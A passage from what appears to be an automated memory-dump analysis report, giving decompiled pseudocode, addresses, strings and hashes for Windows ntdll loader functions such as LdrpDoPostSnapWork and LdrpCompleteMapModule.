					 *0x57db1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E05719B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x57d5780 & 0x00000005) != 0) {
						_push(_t49);
						E05765510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x05718e0f
0x05718e16
0x05718e19
0x05718e1b
0x05718e21
0x05718e7f
0x05718e85
0x05759354
0x0575936c
0x05759371
0x0575937b
0x05759381
0x05759381
0x0575937b
0x05718e9d
0x05718e9d
0x05718e29
0x05718e2c
0x05718e38
0x05718e3e
0x05718e43
0x05718eb5
0x05718eb9
0x057592aa
0x057592af
0x057592e8
0x057592e8
0x057592af
0x05718eb9
0x05718e45
0x05718e53
0x05718e5b
0x05718e5f
0x05718e78
0x05718e78
0x05718e7d
0x05718ec3
0x05718ecd
0x05718ed2
0x05718ed2
0x05718ec5
0x05718ec5
0x00000000
0x05718e7d
0x05718e67
0x05718ea4
0x0575931a
0x00000000
0x00000000
0x05759320
0x05718ea4
0x05718e70
0x05759325
0x05759340
0x05759345
0x05759345
0x05718e76
0x00000000
0x00000000
0x00000000
0x00000000

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 0575933B, 05759367
Querying the active activation context failed with status 0x%08lx, xrefs: 05759357
LdrpFindDllActivationContext, xrefs: 05759331, 0575935D
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 0575932A

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 0-3779518884
Opcode ID: ff3bc480e9e0fea2e74bc9085a852df4b649db4b8861449fc920d1270146c2fe
Instruction ID: 6b52fe0b1453718855c779a3cfbde218dbf2e0dadcbe90360e2910b95624d302
Opcode Fuzzy Hash: ff3bc480e9e0fea2e74bc9085a852df4b649db4b8861449fc920d1270146c2fe
Instruction Fuzzy Hash: 8E412432A00311DFCB31AA1CC88DE75BAB6BB00724F098169ED0597550EBB09C88F29F

Uniqueness

Uniqueness Score: -1.00%

Function 056F8794, Relevance: 4.0, Strings: 3, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E056F8794(void* __ecx) {
				signed int _v0;
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t77;
				signed int _t80;
				signed char _t81;
				signed int _t87;
				signed int _t91;
				void* _t92;
				void* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t134;
				signed int _t136;
				signed int _t143;
				signed int* _t147;
				signed int _t151;
				void* _t153;
				signed int* _t157;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed int _t168;

				_push(__ecx);
				_t153 = __ecx;
				_t159 = 0;
				_t121 = __ecx + 0x3c;
				if( *_t121 == 0) {
					L2:
					_t77 =  *((intOrPtr*)(_t153 + 0x58));
					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
						_t122 =  *((intOrPtr*)(_t153 + 0x20));
						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
							L6:
							if(E056F934A() != 0) {
								_t159 = E0576A9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
								__eflags = _t159;
								if(_t159 < 0) {
									_t81 =  *0x57d5780; // 0x0
									__eflags = _t81 & 0x00000003;
									if((_t81 & 0x00000003) != 0) {
										_push(_t159);
										E05765510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
										_t81 =  *0x57d5780; // 0x0
									}
									__eflags = _t81 & 0x00000010;
									if((_t81 & 0x00000010) != 0) {
										asm("int3");
									}
								}
							}
						} else {
							_t159 = E056F849B(0, _t122, _t153, _t159, _t180);
							if(_t159 >= 0) {
								goto L6;
							}
						}
						_t80 = _t159;
						goto L8;
					} else {
						_t125 = 0x13;
						asm("int 0x29");
						_push(0);
						_push(_t159);
						_t161 = _t125;
						_t87 =  *( *[fs:0x30] + 0x1e8);
						_t143 = 0;
						_v40 = _t161;
						_t118 = 0;
						_push(_t153);
						__eflags = _t87;
						if(_t87 != 0) {
							_t118 = _t87 + 0x5d8;
							__eflags = _t118;
							if(_t118 == 0) {
								L46:
								_t118 = 0;
							} else {
								__eflags =  *(_t118 + 0x30);
								if( *(_t118 + 0x30) == 0) {
									goto L46;
								}
							}
						}
						_v32 = 0;
						_v28 = 0;
						_v16 = 0;
						_v20 = 0;
						_v12 = 0;
						__eflags = _t118;
						if(_t118 != 0) {
							__eflags = _t161;
							if(_t161 != 0) {
								__eflags =  *(_t118 + 8);
								if( *(_t118 + 8) == 0) {
									L22:
									_t143 = 1;
									__eflags = 1;
								} else {
									_t19 = _t118 + 0x40; // 0x40
									_t156 = _t19;
									E056F8999(_t19,  &_v16);
									__eflags = _v0;
									if(_v0 != 0) {
										__eflags = _v0 - 1;
										if(_v0 != 1) {
											goto L22;
										} else {
											_t128 =  *(_t161 + 0x64);
											__eflags =  *(_t161 + 0x64);
											if( *(_t161 + 0x64) == 0) {
												goto L22;
											} else {
												E056F8999(_t128,  &_v12);
												_t147 = _v12;
												_t91 = 0;
												__eflags = 0;
												_t129 =  *_t147;
												while(1) {
													__eflags =  *((intOrPtr*)(0x57d5c60 + _t91 * 8)) - _t129;
													if( *((intOrPtr*)(0x57d5c60 + _t91 * 8)) == _t129) {
														break;
													}
													_t91 = _t91 + 1;
													__eflags = _t91 - 5;
													if(_t91 < 5) {
														continue;
													} else {
														_t131 = 0;
														__eflags = 0;
													}
													L37:
													__eflags = _t131;
													if(_t131 != 0) {
														goto L22;
													} else {
														__eflags = _v16 - _t147;
														if(_v16 != _t147) {
															goto L22;
														} else {
															E05702280(_t92, 0x57d86cc);
															_t94 = E057B9DFB( &_v20);
															__eflags = _t94 - 1;
															if(_t94 != 1) {
															}
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															_t95 = E057161A0( &_v32);
															__eflags = _t95;
															if(_t95 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t71 = _t118 + 0x40; // 0x3f
																	_t134 = _t71;
																	goto L55;
																}
															}
															goto L30;
														}
													}
													goto L56;
												}
												_t92 = 0x57d5c64 + _t91 * 8;
												asm("lock xadd [eax], ecx");
												_t131 = (_t129 | 0xffffffff) - 1;
												goto L37;
											}
										}
										goto L56;
									} else {
										_t143 = E056F8A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
										__eflags = _t143;
										if(_t143 != 0) {
											_t157 = _v12;
											_t103 = 0;
											__eflags = 0;
											_t136 =  &(_t157[1]);
											 *(_t161 + 0x64) = _t136;
											_t151 =  *_t157;
											_v20 = _t136;
											while(1) {
												__eflags =  *((intOrPtr*)(0x57d5c60 + _t103 * 8)) - _t151;
												if( *((intOrPtr*)(0x57d5c60 + _t103 * 8)) == _t151) {
													break;
												}
												_t103 = _t103 + 1;
												__eflags = _t103 - 5;
												if(_t103 < 5) {
													continue;
												}
												L21:
												_t105 = E0572F380(_t136, 0x56c1184, 0x10);
												__eflags = _t105;
												if(_t105 != 0) {
													__eflags =  *_t157 -  *_v16;
													if( *_t157 >=  *_v16) {
														goto L22;
													} else {
														asm("cdq");
														_t166 = _t157[5] & 0x0000ffff;
														_t108 = _t157[5] & 0x0000ffff;
														asm("cdq");
														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
														if(__eflags > 0) {
															L29:
															E05702280(_t108, 0x57d86cc);
															 *_t118 =  *_t118 + 1;
															_t42 = _t118 + 0x40; // 0x3f
															_t156 = _t42;
															asm("adc dword [ebx+0x4], 0x0");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															_t110 = E057161A0( &_v32);
															__eflags = _t110;
															if(_t110 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t134 = _v20;
																	L55:
																	E057B9D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
																}
															}
															L30:
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															E056FFFB0(_t118, _t156, 0x57d86cc);
															goto L22;
														} else {
															if(__eflags < 0) {
																goto L22;
															} else {
																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
																	goto L22;
																} else {
																	goto L29;
																}
															}
														}
													}
													goto L56;
												}
												goto L22;
											}
											asm("lock inc dword [eax]");
											goto L21;
										}
									}
								}
							}
						}
						return _t143;
					}
				} else {
					_push( &_v8);
					_push( *((intOrPtr*)(__ecx + 0x50)));
					_push(__ecx + 0x40);
					_push(_t121);
					_push(0xffffffff);
					_t80 = E05729A00();
					_t159 = _t80;
					if(_t159 < 0) {
						L8:
						return _t80;
					} else {
						goto L2;
					}
				}
				L56:
			}

0x056f8799
0x056f879d
0x056f87a1
0x056f87a3
0x056f87a8
0x056f87c3
0x056f87c3
0x056f87c8
0x056f87d1
0x056f87d4
0x056f87d8
0x056f87e5
0x056f87ec
0x05749bfe
0x05749c00
0x05749c02
0x05749c08
0x05749c0d
0x05749c0f
0x05749c14
0x05749c2d
0x05749c32
0x05749c37
0x05749c3a
0x05749c3c
0x05749c42
0x05749c42
0x05749c3c
0x05749c02
0x056f87da
0x056f87df
0x056f87e3
0x00000000
0x00000000
0x056f87e3
0x056f87f2
0x00000000
0x056f87fb
0x056f87fd
0x056f87fe
0x056f880e
0x056f880f
0x056f8810
0x056f8814
0x056f881a
0x056f881c
0x056f881f
0x056f8821
0x056f8822
0x056f8824
0x056f8826
0x056f882c
0x056f882e
0x05749c48
0x05749c48
0x056f8834
0x056f8834
0x056f8837
0x00000000
0x00000000
0x056f8837
0x056f882e
0x056f883d
0x056f8840
0x056f8843
0x056f8846
0x056f8849
0x056f884c
0x056f884e
0x056f8850
0x056f8852
0x056f8854
0x056f8857
0x056f88b4
0x056f88b6
0x056f88b6
0x056f8859
0x056f8859
0x056f8859
0x056f8861
0x056f8866
0x056f886a
0x056f893d
0x056f8941
0x00000000
0x056f8947
0x056f8947
0x056f894a
0x056f894c
0x00000000
0x056f8952
0x056f8955
0x056f895a
0x056f895d
0x056f895d
0x056f895f
0x056f8961
0x056f8961
0x056f8968
0x00000000
0x00000000
0x056f896a
0x056f896b
0x056f896e
0x00000000
0x056f8970
0x056f8970
0x056f8970
0x056f8970
0x056f8972
0x056f8972
0x056f8974
0x00000000
0x056f897a
0x056f897a
0x056f897d
0x00000000
0x056f8983
0x05749c65
0x05749c6d
0x05749c72
0x05749c75
0x05749c75
0x05749c82
0x05749c86
0x05749c87
0x05749c88
0x05749c89
0x05749c8c
0x05749c90
0x05749c95
0x05749c97
0x05749ca0
0x05749ca3
0x05749ca9
0x05749ca9
0x00000000
0x05749ca9
0x05749ca3
0x00000000
0x05749c97
0x056f897d
0x00000000
0x056f8974
0x056f8988
0x056f8992
0x056f8996
0x00000000
0x056f8996
0x056f894c
0x00000000
0x056f8870
0x056f887b
0x056f887d
0x056f887f
0x056f8881
0x056f8884
0x056f8884
0x056f8886
0x056f8889
0x056f888c
0x056f888e
0x056f8891
0x056f8891
0x056f8898
0x00000000
0x00000000
0x056f889a
0x056f889b
0x056f889e
0x00000000
0x00000000
0x056f88a0
0x056f88a8
0x056f88b0
0x056f88b2
0x056f88d3
0x056f88d5
0x00000000
0x056f88d7
0x056f88db
0x056f88dc
0x056f88e0
0x056f88e8
0x056f88ee
0x056f88f0
0x056f88f3
0x056f88fc
0x056f8901
0x056f8906
0x056f890c
0x056f890c
0x056f890f
0x056f8916
0x056f8917
0x056f8918
0x056f8919
0x056f891a
0x056f891f
0x056f8921
0x05749c52
0x05749c55
0x05749c5b
0x05749cac
0x05749cc0
0x05749cc0
0x05749c55
0x056f8927
0x056f8927
0x056f892f
0x056f8933
0x00000000
0x056f88f5
0x056f88f5
0x00000000
0x056f88f7
0x056f88f7
0x056f88fa
0x00000000
0x00000000
0x00000000
0x00000000
0x056f88fa
0x056f88f5
0x056f88f3
0x00000000
0x056f88d5
0x00000000
0x056f88b2
0x056f88c9
0x00000000
0x056f88c9
0x056f887f
0x056f886a
0x056f8857
0x056f8852
0x056f88bf
0x056f88bf
0x056f87aa
0x056f87ad
0x056f87ae
0x056f87b4
0x056f87b5
0x056f87b6
0x056f87b8
0x056f87bd
0x056f87c1
0x056f87f4
0x056f87fa
0x00000000
0x00000000
0x00000000
0x056f87c1
0x00000000

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 05749C28
LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 05749C18
LdrpDoPostSnapWork, xrefs: 05749C1E

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
API String ID: 0-1948996284
Opcode ID: 9cad8be74a493a1d015853e68f99802c489b0f88d79d1d1a28ad917af185e0c3
Instruction ID: c63ff8c110e85a5fac253219cb85425f7ac3e8cad1f81a23752b9b0afc608311
Opcode Fuzzy Hash: 9cad8be74a493a1d015853e68f99802c489b0f88d79d1d1a28ad917af185e0c3
Instruction Fuzzy Hash: A791F231E00216EFDF58DF59D485ABAB7B6FF44310F1441A9EA16AB650DB30ED01DB90

Uniqueness

Uniqueness Score: -1.00%

Function 056F7E41, Relevance: 3.9, Strings: 3, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E056F7E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E056FCEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E056EC9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0x57d5780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E05765510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0x57d5780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E05707D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E05707D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E05767016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E05707D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E05707D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E05767016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E0571A1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E056EB1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}

0x056f7e4c
0x056f7e50
0x056f7e55
0x056f7e58
0x056f7e5d
0x056f7e71
0x056f7f33
0x056f7e77
0x056f7e77
0x056f7e79
0x056f7e79
0x056f7e7e
0x056f7f45
0x05749848
0x00000000
0x05749848
0x056f7f4e
0x056f7f53
0x056f7f5a
0x00000000
0x00000000
0x0574985a
0x05749862
0x05749866
0x00000000
0x0574986c
0x00000000
0x0574986c
0x056f7e84
0x056f7e84
0x056f7e8d
0x05749871
0x056f7eb8
0x056f7ec0
0x056f7ec0
0x056f7e9a
0x0574987e
0x00000000
0x00000000
0x05749884
0x0574988b
0x057498a7
0x057498ac
0x057498b1
0x057498b6
0x057498b8
0x057498b8
0x057498b9
0x00000000
0x057498b9
0x056f7ea0
0x056f7ea7
0x00000000
0x00000000
0x056f7eac
0x056f7eb1
0x056f7ec6
0x056f7ed0
0x057498cc
0x056f7ed6
0x056f7ed6
0x056f7ed6
0x056f7ede
0x056f7ee3
0x057498e3
0x057498f0
0x05749902
0x057498f2
0x057498fb
0x057498fb
0x05749907
0x0574991d
0x0574991d
0x05749907
0x057498e3
0x056f7ef0
0x056f7f14
0x056f7f14
0x056f7f1e
0x05749946
0x056f7f24
0x056f7f24
0x056f7f24
0x056f7f2c
0x0574996a
0x05749975
0x05749975
0x0574997e
0x05749993
0x05749993
0x0574997e
0x00000000
0x056f7ef2
0x056f7efc
0x056f7f0a
0x056f7f0e
0x05749933
0x00000000
0x05749933
0x00000000
0x056f7f0e
0x00000000
0x00000000
0x00000000
0x056f7eb1

Strings

Could not validate the crypto signature for DLL %wZ, xrefs: 05749891
minkernel\ntdll\ldrmap.c, xrefs: 057498A2
LdrpCompleteMapModule, xrefs: 05749898

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: b4a294b313e470b3f3fed612def672102a6d63e768f7d80d062da8131b07fbcc
Instruction ID: 59924fb1350afdf9556a773b2fb7001be4a19018633d84e68a4c69a269f043fe
Opcode Fuzzy Hash: b4a294b313e470b3f3fed612def672102a6d63e768f7d80d062da8131b07fbcc
Instruction Fuzzy Hash: 25511131A047449BDB29CB6CC848F2A7BE5FF40310F0406AAEA529B7D1D734ED01DB90

Uniqueness

Uniqueness Score: -1.00%

Function 056EE620, Relevance: 3.9, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E056EE620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E056EF358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E057295D0();
						}
						if(_t78 != 0) {
							L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E0572FA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E0572BB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E05729600();
					if(_t97 < 0) {
						goto L6;
					}
					E0572BB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L056EF018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E0572BB40(_t83, _t102 + 0x24, _t78);
								if(L056F43C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E0572BB40(_t84, _t102 + 0x24, _t94);
									if(L056F43C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}

0x056ee620
0x056ee628
0x056ee62f
0x056ee631
0x056ee635
0x056ee637
0x056ee63e
0x05745503
0x05745503
0x056ee64c
0x056ee64c
0x056ee651
0x00000000
0x00000000
0x056ee661
0x056ee665
0x0574542a
0x056ee715
0x056ee71a
0x056ee71c
0x056ee720
0x056ee720
0x056ee727
0x056ee736
0x056ee736
0x056ee743
0x056ee743
0x056ee673
0x056ee678
0x056ee67d
0x056ee682
0x056ee685
0x056ee692
0x056ee69b
0x056ee6a3
0x056ee6ad
0x056ee6b1
0x056ee6b2
0x056ee6bb
0x056ee6bf
0x056ee6c0
0x056ee6c8
0x056ee6cc
0x056ee6d5
0x056ee6d9
0x00000000
0x00000000
0x056ee6e5
0x056ee6ea
0x056ee6f9
0x056ee70b
0x056ee70f
0x05745439
0x0574545e
0x0574545e
0x00000000
0x0574545e
0x0574543b
0x0574543e
0x05745440
0x05745445
0x05745472
0x05745475
0x0574548d
0x05745493
0x057454a9
0x00000000
0x00000000
0x057454ab
0x057454b4
0x057454bc
0x057454c8
0x057454de
0x057454fb
0x057454e0
0x057454e6
0x057454eb
0x057454eb
0x057454de
0x00000000
0x057454bc
0x05745477
0x0574547a
0x05745480
0x05745483
0x05745486
0x0574548b
0x00000000
0x00000000
0x00000000
0x0574548b
0x00000000
0x00000000
0x00000000
0x00000000
0x05745447
0x05745447
0x05745447
0x05745447
0x0574544e
0x00000000
0x00000000
0x05745450
0x05745452
0x05745455
0x0574545a
0x00000000
0x00000000
0x00000000
0x0574545c
0x0574546a
0x0574546d
0x0574546f
0x00000000
0x0574546f
0x056ee70f

Strings

@, xrefs: 056EE6C0
InstallLanguageFallback, xrefs: 056EE6DB
\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 056EE68C

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: b95ec03643bae84f3fe630ce33fbc2eb156c0ed91907d6b260d0e7e569924284
Instruction ID: d454eb7a14fafa3341cee58c97d666971e3c16893679c02a7816d0b69d914d04
Opcode Fuzzy Hash: b95ec03643bae84f3fe630ce33fbc2eb156c0ed91907d6b260d0e7e569924284
Instruction Fuzzy Hash: D151CF726093559BCB10DF68C454A7BB3E9BF88614F05092EF985DB240FB34DE04DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 057AE539, Relevance: 2.8, Strings: 2, Instructions: 261
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E057AE539(unsigned int* __ecx, intOrPtr __edx, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				unsigned int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				void* __ebx;
				void* __edi;
				char _t87;
				signed int _t90;
				signed int _t94;
				signed int _t100;
				intOrPtr* _t113;
				signed int _t122;
				void* _t132;
				void* _t135;
				signed int _t139;
				signed int* _t141;
				signed int _t146;
				signed int _t147;
				void* _t153;
				signed int _t155;
				signed int _t159;
				char _t166;
				void* _t172;
				void* _t176;
				signed int _t177;
				intOrPtr* _t179;

				_t179 = __ecx;
				_v48 = __edx;
				_v68 = 0;
				_v72 = 0;
				_push(__ecx[1]);
				_push( *__ecx);
				_push(0);
				_t153 = 0x14;
				_t135 = _t153;
				_t132 = E057ABBBB(_t135, _t153);
				if(_t132 == 0) {
					_t166 = _v68;
					goto L43;
				} else {
					_t155 = 0;
					_v52 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v56 = __ecx[1];
					if( *__ecx >> 8 < 2) {
						_t155 = 1;
						_v52 = 1;
					}
					_t139 = _a4;
					_t87 = (_t155 << 0xc) + _t139;
					_v60 = _t87;
					if(_t87 < _t139) {
						L11:
						_t166 = _v68;
						L12:
						if(_t132 != 0) {
							E057ABCD2(_t132,  *_t179,  *((intOrPtr*)(_t179 + 4)));
						}
						L43:
						if(_v72 != 0) {
							_push( *((intOrPtr*)(_t179 + 4)));
							_push( *_t179);
							_push(0x8000);
							E057AAFDE( &_v72,  &_v60);
						}
						L46:
						return _t166;
					}
					_t90 =  *(_t179 + 0xc) & 0x40000000;
					asm("sbb edi, edi");
					_t172 = ( ~_t90 & 0x0000003c) + 4;
					if(_t90 != 0) {
						_push(0);
						_push(0x14);
						_push( &_v44);
						_push(3);
						_push(_t179);
						_push(0xffffffff);
